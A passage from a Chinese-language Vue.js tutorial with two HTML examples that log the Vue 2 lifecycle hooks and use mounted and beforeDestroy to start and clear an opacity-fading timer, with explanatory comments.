<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>分析生命周期</title>
<!-- 导入 vue 文件 -->
<script src="../js//vue.js"></script>
</head>
<body>
<!--
创建 (创建vm的实例)
beforeCreate() 创建之前
created() 创建完毕
挂载 (挂载到DOM)
beforeMount() 将要挂载
mounted() 挂载完毕
修改 (修改vm)
beforeUpdate() 修改之前
updated() 修改之后
销毁 (通过 $destroy() 来销毁)
beforeDestroy() 销毁之前
destroyed() 销毁之后
-->
<!-- 被 vm 实例所控制的区域 -->
<div id="root">
<h2>当前n值:{{n}}</h2>
<button @click="add">点我n+1</button>
<button @click="del">点我销毁vm</button>
</div>
</body>
<script>
//创建 vm 实例对象
new Vue({
el: "#root",
//编写定义容器里的模板 (直接替换掉容器里的模板)
//编写的也是有规则的 必须是一个根元素(一个父类 可以下面很多子类 不可以两个父类)
//也不能使用template作为根元素
/* template: `
<div>
<h2>当前的a值是:{{n}}</h2>
<button @click="add">点我n+1</button>
</div>
`, */
data: {
name: "xinze",
n: 1,
},
methods: {
add() {
this.n++;
},
del() {
this.$destroy();
},
},
beforeCreate() {
console.log("beforeCreate");
console.log(this);
console.log(this.n);
},
created() {
console.log("created");
console.log(this);
},
beforeMount() {
//如果 没有确定容器(el vm.$mount()) 是不会执行此步 啥时候确认啥时候执行
console.log("befoteMOunt");
console.log(this);
},
mounted() {
console.log("mounted");
console.log(this);
},
beforeUpdate() {
console.log("beforeUpdate");
console.log(this.n);
//debugger;
},
updated() {
console.log("updated");
console.log(this.n);
},
//只有点击了 销毁vm 才会执行下面两条
beforeDestroy() {
//销毁前 可以调用别的方法和属性进行操作 但不会渲染到页面
console.log("vm销毁前:beforeDestroy");
this.n++;
console.log(this.n);
},
destroyed() {
console.log("vm销毁后:destroyed");
},
});
</script>
</html>
总结生命周期
图示
代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>总结生命周期</title>
<!-- 导入 vue 文件 -->
<script src="../js//vue.js"></script>
</head>
<body>
<!--
目前学的生命周期钩子:
beforeCreate() 创建前
created() 创建后
beforeMount() 挂载前
mounted() 挂在后
beforeUpdate() 修改前
updated() 修改后
beforeDestroy() 销毁前
destroyed() 销毁后
常用的生命周期钩子:
1、mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2、beforeDestroy:清除定时器、解绑自定义事件、取消订阅信息等【收尾工作】。
关于销毁Vue实例
1、销毁后借助Vue开发者工具看不到任何信息。
2、销毁后自定义事件会失效,但原生DOM事件依然有效。
3、一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
-->
<!-- 被 vm 实例所控制的区域 -->
<div id="root">
<h2 :style="{opacity}">{{name}}</h2>
<button @click="del">点我停止变换</button>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
opacity: 1,
},
methods: {
del() {
this.$destroy();
},
},
//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕) 调用mounted
mounted() {
//this.trimer 在当前实例身上创建一个trimer接收定时器函数
this.trimer = setInterval(() => {
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1;
}, 16);
},
beforeDestroy() {
clearInterval(this.trimer); //销毁定时器
console.log("vm即将销毁");
},
});
</script>
</html>